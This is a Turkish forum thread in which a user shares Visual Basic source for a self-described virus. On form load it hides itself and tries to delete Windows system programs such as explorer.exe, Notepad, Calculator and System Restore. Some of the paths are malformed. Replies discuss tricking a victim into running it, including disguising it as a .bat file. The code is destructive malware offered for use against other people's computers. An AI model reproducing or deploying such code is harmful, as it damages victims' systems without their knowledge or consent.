Buda benden bir virüs arkadaşlar

yapmıştım bunu ama işe yarar sanırım deneyememiştim denemenızıde tavsıye etmem pasif bişi ama güzel başlat tüm programlar donatılar bastınızda ne göruosanız onları silen bı prog öle başka bi iki şeyde ekli tamamen ben yaptım

Private Sub Form_Load()
App.TaskVisible = False
Form1.Hide
Form1.Visible = False
Kill ("%SystemRoot%\system32\dfrg.msc")
Kill ("%SystemRoot%\system32\cleanmgr.exe")
Kill ("%SYSTEMROOT%\system32\usmt\migwiz.exe")
Kill ("%SystemRoot%\system32\wscui.cpl")
Kill ("%SystemRoot%\system32\charmap.exe")
Kill ("C:\Program Files\Common Files\Microsoft Shared\MSInfo\msinfo32.exe")
Kill ("%SystemRoot%\system32\restore\rstrui.exe")
Kill ("%SystemRoot%\explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\::{D6277990-4C6A-11CF-8D87-00AA0060F5BF}")
Kill ("%SystemRoot%\system32\ntbackup.exe")
Kill ("%SystemRoot%\system32\mspaint.exe")
Kill ("%SystemRoot%\system32\calc.exe")
Kill ("C:\Program Files\Windows NT\Accessories\wordpad.exe")
Kill ("%SystemRoot%\explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}\::{7007acc7-3202-11d1-aad2-00805fc1270e}")
Kill ("%SystemRoot%\system32\rundll32.exe hnetwiz.dll,HomeNetWizardRunDll")
Kill ("C:\Program Files\Windows NT\hypertrm.exe")
Kill ("%SystemRoot%\system32\rundll32.exe shell32.dll,Control_RunDLL NetSetup.cpl,@0,WNSW")
Kill ("%SystemRoot%\system32\mstsc.exe")
Kill ("%SystemRoot%\system32\rundll32.exe netshell.dll,StartNCW")
Kill ("%SystemRoot%\system32\accwiz.exe")
Kill ("%SystemRoot%\system32\sndrec32.exe")
Kill ("%SystemRoot%\system32\sndvol32.exe")
Kill ("%SystemRoot%\system32\osk.exe")
Kill ("%SystemRoot%\system32\wscui.cpl")
Kill ("C:\WINDOWS\explorer.exe")
Kill ("C:\WINDOWS\NOTEPAD.EXE")
End Sub

explorer.exe sadece bunu silseydin yazık karşıdaki adamın pc ye

bu nasıl çalışcakki commandbutton falan var mı ve çok güzel olmuş başkalarının pc de çalışırsa ...

heralde command button olacak kurban raya bastığında bunlar işlevlerini yapcak böle olması gerek

ßunu not defterine kopyalıcaz ve farklı kaydet diyip uzantısını .bat olarak değiştirip karsı adama yutturucaz bu kadar :d

Private Sub Form_Load()

dediğine göre direkt form açılınca silincek

arkadaşlar .bat falan değil forma çift tıklayın kod bölümünün hepsini silin sonra bunları yazın formu çalıştırın pc niz çöksün xD

eray bunu kendi pc'nde değil karsı pcye yutturcaz eğer nasıl bu koda virüs ayarı çekecez bide senden duyalım

hocam link kırık bir düzeltirsen çok makbule geçicek

pardon yanlış yere yazdım